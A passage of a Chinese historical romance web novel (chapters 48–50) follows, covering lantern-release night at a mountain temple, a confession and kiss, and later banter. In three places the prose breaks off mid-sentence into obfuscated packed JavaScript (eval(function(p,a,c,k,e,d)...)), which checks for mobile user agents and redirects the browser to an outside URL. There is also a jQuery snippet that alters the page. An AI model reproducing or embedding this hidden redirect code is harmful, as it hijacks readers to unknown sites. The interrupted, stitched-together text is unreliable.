“是这样。我昨日路过王府祠堂时,听见里面吵得十分凶狠,好像是凌安王和小叔在为一个什么人争执,王爷说百余年前的旧事还翻出来做什么,人早就死了,说不定都已经投胎了好几世了,世子说百年也好千年也罢,不能因为要保全自己的一点名声就放弃追求真相,何况这真相还关乎着不知道多少人的命运。” “然后呢?” “嗯……小叔说王爷只求苟全性命,不求心中大义,王爷骂他不肖子……”叶绥缩了缩脖子,小声道。 “哦。”王妃一副没什么所谓的神情,“这没什么的,他们俩经常这样吵,你放心,怀远脸皮厚,绝不会出家。” 叶绥松了一口气:“那就好,那就好。” 一众人又重新兴高采烈地拾起自己的天灯,拿在手里准备出门。 王妃跟在他们后面嘱咐,“府里请了戏班子酉时演出,还有云裳坊的舞姬呢,你们可别玩疯了太晚回来。” 叶绥跟系统早跑没影了,只荷华回身笑着应答:“知道了,王妃。” 枝头那几只杜鹃不知什么时候飞走了,四周一下子静了下来,长长的廊庑空无一人,沈今禾边往院里走,边忍不住去想方才叶绥说的事。 约莫是李怀远为着瞿广的事又找凌安王了,所以才会大吵一架。 她一颗心揪着不上不下的,做事也专注不起来,用了近两个时辰才把余留下来的事做完。屋里有些闷,沈今禾随便拣了本书拿到亭中去看。 刚翻开没读几行,注意力就转移到池塘的两只游鱼上。那两只鱼正藏在一片藻荇下,蠢蠢地互啄对方的尾巴。 沈今禾以往看书时都是越看心气越静,今日却难得的有几分烦躁,她合上书攀折了一枝柳条,开始一片一片地扯掉上面的叶子。 “去,不去,去,不去,去……” 还没扯到一半,突然看见一张熟悉的面孔从远处走来。 “周大哥!”沈今禾扔了柳条站起身子,有些惊喜:“你怎么会在这儿?” 周广郎见着有人叫他,先是一愣,随即憨憨一笑:“嗨呀,是今禾姑娘……不对,瞧我这嘴,如今应该叫沈编修了。” “快别,周大哥叫我今禾就好。” 周广郎是个直率的,闻言也没推嚷:“今禾,你怎么也在凌安王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“后来有一次,他又拖陛下帮他找一本什么先生的游记,哎就是你手上这本,我记得很清楚,今春时陛下差人寻见了,还是我亲自叫人送来浔阳的呢。嗐,当时为着这书,世子不仅狠狠被敲了一笔,还得替陛下夜以继日给先帝侍疾。” 侍疾?对了,就是宫变前几日的事情吧。 “不止啊,还被陛下逼着去了祁侯府上当说客。” 沈今禾道:“就是那个女儿身高九尺、重若泰山且疯狂追求过世子的祁侯?” “是啊。”周广郎回忆起那日的场景,不由叹道:“唉,世子真是受苦了。” 祁侯一向视女若命,那日为讨得她开心,世子忍辱负重,竟、竟背着她在花园里捉了一下午的蝴蝶!那可是泰山压顶啊!周广郎简直不忍去想。 沈今禾听罢心里酸酸涩涩的,很不是滋味,“那个祁侯也真是的,这不是故意为难人么?” “嗐,可不就是故意!怪就怪世子因你们二人的婚事得罪过他。” “婚事?!”哪里来的婚事? 周广郎道:“这个只有极个别军中武将知晓,你放心,绝没有外传过,不会影响到姑娘家闺阁声誉。” “……”这是重点吗! “事情是这样的,世子有一阵总拉着陛下求教些三书六礼的事,毕竟陛下是个过来人,而且开过天眼。陛下问他为何不让王妃操办此事,世子说王妃总一惊一乍的,怕吓着你。” “……” “其实我私想着,世子当初真犯不着费劲找什么淮州高人算黄道吉日,为何不找陛下呢,咱们陛下既然开过天眼,那不随便一指都是百无禁忌的吉日么。” “……”开天眼这一茬能不能先过了。 “可世子偏不,非要……” 沈今禾扶额:“等等,这和得罪祁侯有什么关系?” “哦对,那是因为算出的良辰吉日正巧与祁侯娶续弦是同一天,两人都要外借上京最好的京厨,还得计较着迎亲时崇德大街谁家先过,世子觉得跟他一天办喜事实属晦气,叫祁侯改一日再续,这梁子可不就结下了么。” 沈今禾听得脑门嗡嗡作响。 她丝毫不知李怀远竟然都细致到把迎亲时走哪条道都规划好了。但他从未同府里的人提过一字,否则她也不可能一点风声都没听过。 那会儿他还不知自己骗他之事,以为他们是两情相悦,只满心欢喜地等相王即了位,赐了婚,他和自己就能长长久久地过日子了。 沈今禾嘴里像是灌入了龙胆根制成的汁,咽又咽不下,吐也吐不干净,留在口里苦不堪言。 …… 49.第 49 章 圭峰坐落在城郊,不算高。碧云寺就在半山腰延伸出的一处天然平地上,一面靠山,三面悬空,视野十分开阔。 李怀远提溜着他自己做的那两个丑天灯,站在观景台上向远处眺望。 远山起了雾,在落日的余晖下犹如仙人的鎏金薄纱,亭台上人影攒动,好不热闹。 有的小贩卖天灯卖到了寺院里,高声吆喝着:“灵水浸泡过的竹篾制成的天灯喽,可保姻缘美满喽!” 喊着喊着,忽见台子上站着个锦衣玉带的贵公子,面上一喜,“公子,可要买两只天灯?” “不买。” “哎,你手上的那两个实在是……” “怎么?” “实不相瞒,实在是太丑了,说圆不圆,说方不方,还不知能飞得起来不,怎么样,买两个吧,我这竹篾可是寂空大师亲自摘的灵水泡过……” 半晌,李怀远在他的期许中吐出一句:“关你屁事。” “嘿,你这人!不买就不买嘛,怎么还骂人啊。”小贩不爽,又不敢把这位贵人怎么样,毕竟是他先攻击人家的灯丑,于是嘟嘟囔囔的走了。 太阳落下山,暮霭没了。 寺院的钟声即将响起,青年男女们有的三五成群,有的两两一对,喜气洋洋地拿好手里的天灯,只待钟声一起,就开始放飞写满了福愿的天灯。 李怀远知道他等的人不会再来,踌躇了片刻,拎着两盏灯往山下的方向走。 没关系,这没什么的,反正他早就料到了。李怀远按了按酸涩的胸口,默默安慰自己。 “咚……”碧云寺的古钟敲响,铿然有力。 钟音平不似平日明净幽远,因着上巳节的喧闹平添了几份喜气,如泉水淙淙,清脆悠扬。 这时,一道天籁之音混同在鼎沸的吵闹声与钟声之间,自天而降。 “李怀远!” 呼吸一滞,他顿足,却不敢回头。 沈今禾双手叉腰喘着气,方才她拖着还未彻底恢复好的身子爬上数阶石台,没等歇气,又在禅院绕着跑了一圈,这才找到了人。 却见那人背对着她已经往回走了,因着人群涌动,她一时半会儿挤过不去,情急之下,才又喊了一句:“李怀远!” 听到第二遍时,李怀远这才猛地回过头来。 隔着漫天灯火,隔着熙熙攘攘的行人,他看见自己等了一整日的人就定定站在另一头,笑着朝他招手。 这一刻,忽然世间万物都有了回响。 可他还是好怕方才听到的声音是自己的幻觉,对面的人也是幻觉,他越过人群向她靠近,越走心跳动得越厉害。 直到朱颜在侧,李怀远才一把将她拉入怀中。 沈今禾方才跑得急了,还在微微喘着气。 蓦地,一个满身雪松香气的黑影俯下身来,滚烫热烈的双唇落下,急促地盖在她微微张合的唇瓣上,忽而舌间被一团炙热裹住,她白皙的耳朵猝然发烫,发出一声嘤咛。 李怀远喉结滚了滚,宽厚的手掌霸道地箍住她的腰,势要将她往更深的缠绵里勾。 沈今禾大脑一片空白,仿佛晕眩地坠入在火山之上,只能闭着眼任由李怀远带她一起沉沦在这片天光之中。 不知过了多久,这个缠绵悱恻的吻才彻底结束。 面颊有些发烫,沈今禾晕晕乎乎地抬眼,正对上那双暗蕴柔情的黑眸,顿时清醒了过来。 她呼吸声有些短促,结结巴巴道:“那个,我、我来了。” 李怀远垂眸凝视着她,桃花眼溢出满满笑意,看着看着,陡然抬手捂住了她的双眼。 “干、干嘛!”沈今禾一颤,睫羽在一只温热的手掌中眨啊眨的。 “你眼睛太好看了,我怕自己被勾引,万一没忍住把你怎么样了……”李怀远恢复了平日里不着调的样子,说得亦真亦假。 “……” 沈今禾正要回话,似乎又突然想起来什么,眼睛一亮,拽着李怀远的手腕就往后院跑。 李怀远任由她拖着,也不知她要去哪里,要干什么,但他觉得无所谓,去哪里都行,干什么都好,总归是沈今禾就好。 “方才我找你的时候经过后院,那里没什么人,视野还特别好,能看见整个浔阳城飞起来的天灯。你走快些,不然被别人占了好位置,我们就没得看了。” 李怀远也不看路,只低头看着她笑,心里甜丝丝的,哪还管什么破天灯。他总觉得沈今禾今日很不一样,似乎少了一丝平日硬装起来的紧绷感,变得灵动又坦然。 “笑什么,你是不是傻了?” “不知道,就想笑。” 沈今禾蓦地想起去岁腊月初八那个无月之夜,她也在蓬莱殿前的玉阶上对他这么答过话。霎时有些赧然,转过头不再搭理他,七拐八拐地走到了后院的悬崖边上。 只见城中漫天花灯齐飞,浔阳犹如一道倒悬的星河,仰躺在人间盛地。 寺院的围栏是用粗壮的树干驻基而成,十分结实。沈今禾跑过去靠着围栏狠狠吸了一口山间新鲜的空气,又回过头兴奋地朝李怀远挥手。 “竟然一个人都没有,哈哈哈,这里是我们的了!快看,好美啊!” 李怀远走过去,双手撑在她身侧的围栏上,把她箍在怀里的一方天地。 温热的气息打在沈今禾的耳垂上,他低声缓缓开口,“我以为你不会来。” “如果我没来,你会怎么办?”沈今禾转过身与他对视。 “不怎么办。”李怀远垂眸,盯着脚尖还没长出来的枯草,平心静气道:“左右我已经走了九十九步,剩下那一步,你若执意不肯走,那我再走一走也无妨。” 橘黄色的点点灯火照亮了他的面庞。沈今禾忽然觉得心脏揪了一下,而后有什么暖暖的东西开始流淌。 良久默道一声,还好她来了。 “告诉你一个秘密。” “什么秘密?”李怀远看她。 “从山寺门到亭台一共有五十个台阶,要走五十步。” “……”这算哪门子的秘密,李怀远还没来得及反驳,又听她道: “从亭台处沿着禅院绕一圈再回来,也是五十步的距离。” “然后呢?”李怀远嘴角擒着一抹笑,似乎知道她接下来要说什么。 “所以我找到你的时候,也正正好向你走了一百步。你迟迟等不来我迈出的那一步,是因为我也想完完整整地,向你奔赴一百步的距离。” 话音刚落,沈今禾就被拥进了温暖的怀抱里。 她不禁想,这人可真好哄啊。于是笑盈盈道:“你不会哭了吧?” 李怀远只觉得这一刻天地万物都失了色,只有怀中这个人在发光。什么海誓山盟,什么朝朝暮暮,世间万般皆不及尔。 就在这时,一个熟悉的红色祈福牌被一双手掌托着,就这么赫然出现在他眼前。 “祈福牌修复好了,答应你的拂雪煮茶今年冬日再做,挡箭嘛,希望这辈子都不会有了……你当日问我什么是真的,从今往后,全部都是真的了。” “你这个人……”李怀远下巴抵着她的墨发哽咽得说不出话,叹了口气重复,“你这个人,我……我也会一直都是真的。” “哎,你不会真的哭了吧?” “放屁。” “哈哈哈。” 眼尾突然落下一个轻轻的吻。沈今禾咕哝道:“你怎么还没完了了……” “就想亲你。” “……” “想把去岁的全都补上。” “你怎么不说把过去二十二年的都补上?” 李怀远沉吟片刻:“也行。” “……” 钟声不知何时停的,天灯也不知何时消散了,沈今禾看向这浩瀚人间。 “你知道吗?一开始我决定同你来看圭峰暮霭,是想当着灿烂的余晖告诉你,你看,天地间如此广阔,个人的爱恨纠葛、儿女情长是不是一下子显得无比渺小?也许没有这些情情爱爱,我们一样可以活得很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈今禾尴尬,李怀远更尴尬,两人支支吾吾地道了歉,正要起身离开,却见那悟德方丈凑上前来,一副神神秘秘的样子。 “二位施主,且慢。”他抹了把胡须道:“二位可知,本寺禅房今日对外开放。” “什么意思?”李怀远警惕地看着他。 “本寺禅院得神佛庇佑,凡入住者,皆能一世婚姻美满,郎情妾意白首不离。二位要不要订一间呢?” “……” “不必。”李怀远汗颜。 “真的不用吗?今日有节日活动,每满五两银子减一两,很划算的。” 这到底是寺院还是寻芳阁!李怀远敲了敲眉心,不再理会这个怪方丈,准备拉上沈今禾往山下走。 岂料身旁之人一动不动,覆在他耳边小声道:“这会儿都宵禁了吧,反正也赶不上回城了,还不如在这儿住一晚。难道你不想和我在寺院的禅房内……” “住嘴。”李怀远心头像是燃起了一把火,直直烧到脸上,低声呵斥:“你能不能要当着别人的面……胡说八道。” “啊?”沈今禾抬头,“我是说要不要下棋?你说什么。” “……”他发誓沈今禾说的绝对不止下棋这件事,可又不好明说,越说越容易被她扣帽子,只能咬牙解释。 “上巳节浔阳不设宵禁,不关城门。” “原来如此。”沈今禾边朝外头走边道:“我就说呢,这些难舍难分的眷侣们夜里难道都去草丛里睡,原来是没有宵禁啊。” “……” 行至寺院门口,李怀远扶她上了马车,忍不住劝说,“你以后说起男女之事,能不能稍微收敛一些?” “这话也不行?”沈今禾委屈:“我还不够收敛吗?” “够,够。”李怀远见不得她在外人面前说这些,可更见不得她委屈的模样,闻言连忙回话。 还真是……够够的了。 50.第 50 章 夜幕彻底降落,三三两两的马车借着月色与天灯,缓缓地朝山下跑去。 沈今禾撩起车帘看了会儿,眼皮逐渐开始打架。方才她快马加鞭出城,又急呼呼上山来,灌了些冷风,身体有些困乏。 她坐回位置靠在李怀远肩上假寐,山路颠簸,睡着睡着脖颈不舒服,又迷迷糊糊改成了躺在他的腿上。 不知睡了多久,直到行至山脚下的林间,沈今禾这才被丛林里几道急促暧昧的呼吸声吵醒。 醒来时发现李怀远用手臂护在她身体外侧,而自己正抱着他的大腿。沈今禾也没觉得这有什么,毕竟她在原世界活了二十余年,心想既然两人确定了心意,就索性不要扭扭捏捏,红袖半遮。 这时,林间的缠绵呼吸加重了。 “外面什么声音?”沈今禾揉揉眼睛,作势要掀起车帘。 岂料刚要起身,就被李怀远一把扯回了软茵上。 “别看。”他眼神飘忽不定,耳垂红得发烫。 “为什么?” “那两人、咳咳,那两人是在……行那种事。” “我知道啊。”沈今禾一副“不然呢”的表情,“就是知道他们在干嘛,所以才会好奇,在草地里滚来滚去不会扎得慌吗?” “……”李怀远瞬时瞪大了眼睛,说不出话来。 好在那旖旎的声音终于远了,他这才放开了沈今禾的手臂。沈今禾什么也没看到,放下车帘有些不快。 “你说他们是脱了衣服还是没脱衣服,如果脱了,夜里天寒地冻的不会冷吗?如果没脱,那……” “打住!”继第一次世子府主院床榻交换情报之后,李怀远终于、难得地、再一次快要疯了。 说出了那次没说出口的话,“沈今禾,你这个女人……太、太奔放了!” 沈今禾承认自己是学杂了,脑子里既保留了原世界对“性”这个话题的开放认知,又能理解李怀远这种老古董谈“性”色变的本能。 只是令她不十分理解的是,“当初我第一次进世子府主院,你不是还很淡定地说,我都不够塞你牙缝么,怎么今日反倒一副很纯情的样子。” 李怀远红着脸道:“那时是逗你玩的,今日这是活春……” “宫”字的音节囫囵过去,又强装自若说:“况且那时只有我们二人,跟你又不用见外,这次是外人,外人知道吗?难道你平日里撞见那种事,会凑上去边嗑瓜子边欣赏吗?” “……” “干嘛,嫌弃我?” 沈今禾故意点头:“嗯。” 李怀远一把拉过她,使劲按在怀里挠痒痒,两人瞬间混作一团,车里传出一阵银铃般的笑声。 “驾!” 车夫握紧缰绳摇了摇头,不由叹息,还真是世风日下哦,现在的年轻人都奔放得很。 两人闹了一阵,李怀远轻哼一声,“还说嫌弃,那是谁当初给我写的这张字条。” 说着从怀里掏出来一张纸来,沈今禾接过一看,这才想起来当初她建府迁居,同李怀远在书房辞别时,从门缝里给他塞过一张字条。 只见上面写着: 算一生绕遍,瑶阶玉树,如君样,人间少。 沈今禾不算个薄脸皮之人,但这样被李怀远盯着看,难免还是红了耳根。但她又不愿落了下风,只能虚虚地盖住眉眼,装作头晕眼花的样子。 “我吹了冷风头晕,得再眯一会儿了。你先不要说话。” 李怀远憋着笑:“成。” 马车行至闹市,被赏灯的行人堵着过不去。 府里的车夫通晓这阵仗一时半会儿疏散不了,转身朝里面道:“世子,要不要绕到后面那条街?” 李怀远掀开车帘看了眼,“不必,我们正好下来走走,你绕道将马车赶回府吧。” 车夫走后,李怀远半蹲在沈今禾前面,指了指自己的后背,“上来。” “……”沈今禾一脸茫然,“为何不坐马车了?绕回去也没多久吧。” “你还没见过浔阳热闹的灯市,带你看看。” 沈今禾确实有些头晕,被他再三催促着,最终还是爬上了他的背。她敛起碎发别在耳后,略有些不好意思,“你走过这半条街,在张记果铺那里就把我放下来吧。” “为什么?” “怕我太重,压死你……” “……” 李怀远故意把她往上一颠,惹得沈今禾惊呼一声。他自己却笑得一脸欠揍,“现在感觉到自己根本没几两肉了吧?” 感觉个鬼! 李怀远慢慢往人群中走着,沈今禾双手环着他的脖子,闻到他身上如清风般淡淡的雪松香。 前路是星星点点的花灯闹市,身后是一轮弯弯的蛾眉月,沈今禾想到自己先前内心的挣扎,不由得和李怀远贴近了些,靠在他耳边闷闷道: “其实我还有件事没告诉你。” “嗯。” “……我不是沈云期的孙女,准确来说,我根本就不姓沈。” “嗯。” “你不吃惊?” “嗯。” 沈今禾仰起头:“怎么就只说这一个字,你做人也太轻松了吧!” 李怀远闻言笑出声来,“实不相瞒,我之前派人查过了,沈云期孙女患有肺痨,哪像你似的精神头这么好。” “你还查出什么了没?” “没有。” 那就好。 沈今禾一颗悬着的心悄悄放了下来。如有真有一天,她倒霉到被蒋菁媱捅出了真实身份,她至少可以说李怀远是被她骗的,他自始至终什么都不知道,自己罪加一等不要紧,只要到时候能把他撇干净就行。 所以这件事绝不能提前告诉他,至少在瞿广的冤案查清之前不能告诉他。 李怀远背着她走在明灯如昼的街头,听背上那人不可察觉地叹了口气,又怎么会猜不到她心中所想。沈今禾不愿自己蹚进她的浑水里,可他又怎么能忍心叫她独自去扛那未知的命运。 “放心吧。” 没头没尾的这么一句话,沈今禾懵道:“放什么心?” 放心我一定会查明瞿广的案子,废了那条“良馀贱籍”的律法,绝不会叫你出事。 但他没说,只笑笑道:“方才你在圭峰告诉给我一个秘密,那我也给你说一个。” 沈今禾满心欢喜,只以为他也要说什么浪漫的话来。 “王府有一块免死金牌,等我们成了亲就把它要过来,给你防身用,免得你整日口没遮拦,还偷看别人行那种房内事,万一被人抓住上告到府衙,好歹还能抵一抵。” “……哦。” 您还真是个大好人啊! …… 上巳节过后,沈今禾又住回了驿馆,白日里还是照例去柳府整理柳老先生的遗著。 春日深深,天儿渐渐暖和起来,有些怕热的早已脱下厚厚的棉袍,改穿春衫了。 李怀远成了柳府的常客,每日都来,赖在书房里不肯走。沈今禾无奈地从一堆典籍里探出脑袋:“你无事可做吗?” “有啊。” 沈今禾没说话,继续低头处理公务,却见门前那人走过来跟自己并排挤在书架前。 “你怎么不问我是什么事?” “不问,我知道你狗嘴里向来都吐不出象牙。” 李怀远噗嗤一笑,从身后揽住她,“你近日真是越发放肆了。” 想了想又觉得不对,“其实你本来就是如此吧,只不过以前是在心里骂我,现在改成嘴上骂了。” 沈今禾略一思索:“还真是。” 月灰石绿相间的窄袖长袍公子,将下巴搁在身着官袍的沈今禾左肩上,修长的五指盖住她手里的书册,鼻子里发出一声咕哝:“别看了,午后出城去玩吧。” 说着又去吻她耳垂。 柳南钦进来时,看到的正是这“恶心人”的一幕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612018|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他连连往后退了好几步,一脸不可思议地看向书房里那两人,光天化日,别家府邸,他们是怎么做到一副旁若无人的姿态的! 太过分、太可耻了! 他无力望天,打算眼不见为净。岂料刚一转身,就与一团毛茸茸的东西撞个正着。 “哪里来的狗啊!”柳南钦吓得大吼一声。 那只大黄狗似乎也被他吓到了,蹲在地上呜咽了一声。就在这时,回廊上一个身影急匆匆跑来。 “哥,那是我的狗!别吓着它!” “……”谁吓谁啊!柳南钦抚了抚胸口。 见那人走近,柳南钦皱眉问:“你哪里来的狗?” 柳南羡缩了缩脖子,“江大侠的,他近日回门派有事,就暂时把狗放在我这里。” 眼看他哥又要咆哮,他连忙道:“世子救我!” 李怀远暂时沉浸在说服沈今禾下午旷阙的执念中,对救人不感兴趣。反倒是沈今禾走出门道:“柳公子,救狗一命,胜造七级浮屠啊。” 大黄狗似是听懂了一样,附和着“旺旺”了两声,一旁的柳南羡也拼命点头:“就是就是。” 柳南钦摆了摆手,勉强算是同意。其实他并不是对这只大黄狗有意见,他只是很反感自家弟弟跟那些不知底细的江湖人士来往,怕他学坏了。 见他点头,大黄狗很有灵性地往柳南羡身上扑去,弄得柳南羡痒痒的,咯咯直笑。 柳南钦不欲搭理这个蠢弟弟,转头看向书房,却见这头也没好到哪里去,李怀远依然没皮没脸地腻歪在沈今禾跟前求她。 顿时深吸了一口气,对着李怀远道:“你真的……好像只狗啊。” 依着李怀远的性子,平日里早就回噎他八百回了,谁知今日竟半句也没说。只见李怀远抬眼,温温和和笑道:“那你有本事也对着你心爱之人装小狗啊。” “呕……”恶心死了。 柳南钦吃了苍蝇一般,惊慌失措地跑了。 沈今禾自然知道他是故意的,用胳膊肘撞了撞他,说起正事:“我这边的公务再有个三四日就做完了,你呢?和我一起回上京,还是继续待在这里?陛下给你的差事办完了吗?” 李怀远一愣,“你要走?” “不然呢?”沈今禾疑惑地看了他一眼:“这是公差,又不是外放,做完了自然要回都述职。” “才那个……你就要走,就不能在这里多陪陪我吗?我差事还没办完,走不了。”李怀远眼神可怜巴巴的,真有点像方才那只呜咽的大黄狗。 沈今禾闻言笑出声来,“原来你就是传说中的恋爱脑啊!” “什么是恋爱脑?你怎么总蹦出一些怪词。” “就是……” “不用说我也知道。”李怀远神气道:“就是说我很爱惜自己的脑子对吧。” 沈今禾:“……” “不过还真有个法子可以让你留下。我可以上谏陛下,叫翰林院派两个检讨过来辅助,你直接就在这里开始修撰史册和实录吧,左右你回上京了还是做这些,你意下如何?” 这话倒是没错,柳老先生的遗稿全都是她整理的,她是再熟不过,回去之后编撰成册的差事肯定还是落到她头上,其实在哪办公都没差。 沈今禾道:“我可以留下,不过你得告诉我,陛下给你的是什么差事?” 李怀远越是不说,她反而越担心会是什么危险的事情。 “你以前不是最不喜欢听我说这些吗?” “以前不喜欢,是怕知道太多招来杀身之祸。”沈今禾坐在案前,边翻书边道:“现在不一样了。” 李怀远挑挑眉,满脸笑意坐到她对面,“怎么个不一样法?” “现在被你拉上贼船,知道你无论如何都会把我拖下水。那我还不如事事了解到位,到时候至少可以死个明白。” “……”良久,李怀远才道:“你嘴里也不见得就能吐出个象牙来……”